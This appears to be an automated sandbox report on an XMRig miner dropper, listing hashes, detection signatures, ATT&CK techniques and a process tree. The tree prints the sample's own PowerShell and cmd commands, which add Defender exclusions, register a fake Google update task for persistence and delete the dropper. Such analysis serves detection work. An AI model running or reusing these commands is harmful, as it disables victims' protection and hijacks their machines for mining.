xmrig | ae23dce6045773f7debde8d12221f2e8a0c356a2b048d2863fb35fb0840fde3e

max time kernel
900s
max time network
886s
platform
windows10-2004_x64
resource
win10v2004-20250211-en
resource tags

arch:x64arch:x86image:win10v2004-20250211-enlocale:en-usos:windows10-2004-x64system
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General

Target

grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig discovery execution miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 3316 created 3508	3316	qM5GMXBk6hJE6Y5e (16).exe	56
PID 3316 created 3508	3316	qM5GMXBk6hJE6Y5e (16).exe	56
PID 3316 created 3508	3316	qM5GMXBk6hJE6Y5e (16).exe	56
PID 3316 created 3508	3316	qM5GMXBk6hJE6Y5e (16).exe	56
PID 1516 created 3508	1516	updater.exe	56
PID 1516 created 3508	1516	updater.exe	56
PID 1516 created 3508	1516	updater.exe	56
PID 1516 created 3508	1516	updater.exe	56
PID 1180 created 3508	1180	conhost.exe	56
PID 1516 created 3508	1516	updater.exe	56

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral2/memory/3796-107-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-108-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-110-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-112-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-114-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-116-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-118-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-120-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-122-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-124-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-126-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-128-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-130-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-132-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-134-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-136-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-138-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-140-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-142-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-144-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-146-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-148-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-150-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-152-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-154-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-156-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-158-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-160-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-162-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig
behavioral2/memory/3796-164-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3204	powershell.exe
4320	powershell.exe
1692	powershell.exe
4464	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1516	updater.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1516 set thread context of 1180	1516	updater.exe	104
PID 1516 set thread context of 3796	1516	updater.exe	110

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3796-103-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-107-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-108-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-110-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-112-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-114-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-116-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-118-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-120-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-122-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-124-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-126-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-128-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-130-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-132-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-134-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-136-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-138-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-140-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-142-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-144-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-146-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-148-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-150-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-152-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-154-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-156-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-158-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-160-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-162-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx
behavioral2/memory/3796-164-0x00007FF7C4280000-0x00007FF7C4A74000-memory.dmp	upx

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (16).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3092	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
4984	MicrosoftEdgeUpdate.exe
4984	MicrosoftEdgeUpdate.exe
4984	MicrosoftEdgeUpdate.exe
4984	MicrosoftEdgeUpdate.exe
3316	qM5GMXBk6hJE6Y5e (16).exe
3316	qM5GMXBk6hJE6Y5e (16).exe
3204	powershell.exe
3204	powershell.exe
3316	qM5GMXBk6hJE6Y5e (16).exe
3316	qM5GMXBk6hJE6Y5e (16).exe
1692	powershell.exe
1692	powershell.exe
3316	qM5GMXBk6hJE6Y5e (16).exe
3316	qM5GMXBk6hJE6Y5e (16).exe
3316	qM5GMXBk6hJE6Y5e (16).exe
3316	qM5GMXBk6hJE6Y5e (16).exe
3632	powershell.exe
3632	powershell.exe
1516	updater.exe
1516	updater.exe
4320	powershell.exe
4320	powershell.exe
1516	updater.exe
1516	updater.exe
4464	powershell.exe
4464	powershell.exe
1516	updater.exe
1516	updater.exe
1516	updater.exe
1516	updater.exe
1180	conhost.exe
1180	conhost.exe
1516	updater.exe
1516	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4984	MicrosoftEdgeUpdate.exe
Token: SeDebugPrivilege	3204	powershell.exe
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeIncreaseQuotaPrivilege	1692	powershell.exe
Token: SeSecurityPrivilege	1692	powershell.exe
Token: SeTakeOwnershipPrivilege	1692	powershell.exe
Token: SeLoadDriverPrivilege	1692	powershell.exe
Token: SeSystemProfilePrivilege	1692	powershell.exe
Token: SeSystemtimePrivilege	1692	powershell.exe
Token: SeProfSingleProcessPrivilege	1692	powershell.exe
Token: SeIncBasePriorityPrivilege	1692	powershell.exe
Token: SeCreatePagefilePrivilege	1692	powershell.exe
Token: SeBackupPrivilege	1692	powershell.exe
Token: SeRestorePrivilege	1692	powershell.exe
Token: SeShutdownPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeSystemEnvironmentPrivilege	1692	powershell.exe
Token: SeRemoteShutdownPrivilege	1692	powershell.exe
Token: SeUndockPrivilege	1692	powershell.exe
Token: SeManageVolumePrivilege	1692	powershell.exe
Token: 33	1692	powershell.exe
Token: 34	1692	powershell.exe
Token: 35	1692	powershell.exe
Token: 36	1692	powershell.exe
Token: SeIncreaseQuotaPrivilege	1692	powershell.exe
Token: SeSecurityPrivilege	1692	powershell.exe
Token: SeTakeOwnershipPrivilege	1692	powershell.exe
Token: SeLoadDriverPrivilege	1692	powershell.exe
Token: SeSystemProfilePrivilege	1692	powershell.exe
Token: SeSystemtimePrivilege	1692	powershell.exe
Token: SeProfSingleProcessPrivilege	1692	powershell.exe
Token: SeIncBasePriorityPrivilege	1692	powershell.exe
Token: SeCreatePagefilePrivilege	1692	powershell.exe
Token: SeBackupPrivilege	1692	powershell.exe
Token: SeRestorePrivilege	1692	powershell.exe
Token: SeShutdownPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeSystemEnvironmentPrivilege	1692	powershell.exe
Token: SeRemoteShutdownPrivilege	1692	powershell.exe
Token: SeUndockPrivilege	1692	powershell.exe
Token: SeManageVolumePrivilege	1692	powershell.exe
Token: 33	1692	powershell.exe
Token: 34	1692	powershell.exe
Token: 35	1692	powershell.exe
Token: 36	1692	powershell.exe
Token: SeIncreaseQuotaPrivilege	1692	powershell.exe
Token: SeSecurityPrivilege	1692	powershell.exe
Token: SeTakeOwnershipPrivilege	1692	powershell.exe
Token: SeLoadDriverPrivilege	1692	powershell.exe
Token: SeSystemProfilePrivilege	1692	powershell.exe
Token: SeSystemtimePrivilege	1692	powershell.exe
Token: SeProfSingleProcessPrivilege	1692	powershell.exe
Token: SeIncBasePriorityPrivilege	1692	powershell.exe
Token: SeCreatePagefilePrivilege	1692	powershell.exe
Token: SeBackupPrivilege	1692	powershell.exe
Token: SeRestorePrivilege	1692	powershell.exe
Token: SeShutdownPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeSystemEnvironmentPrivilege	1692	powershell.exe
Token: SeRemoteShutdownPrivilege	1692	powershell.exe
Token: SeUndockPrivilege	1692	powershell.exe
Token: SeManageVolumePrivilege	1692	powershell.exe
Token: 33	1692	powershell.exe
Token: 34	1692	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2936 wrote to memory of 2168	2936	cmd.exe	94
PID 2936 wrote to memory of 2168	2936	cmd.exe	94
PID 3632 wrote to memory of 3264	3632	powershell.exe	95
PID 3632 wrote to memory of 3264	3632	powershell.exe	95
PID 1516 wrote to memory of 1180	1516	updater.exe	104
PID 780 wrote to memory of 3092	780	cmd.exe	109
PID 780 wrote to memory of 3092	780	cmd.exe	109
PID 1516 wrote to memory of 3796	1516	updater.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3508
- C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (16).exe
  "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (16).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3632
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:3264
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (16).exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2936
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4464
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1180
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:780
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:3092
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:4380
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:3796

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ua /installsource scheduler
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4984

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

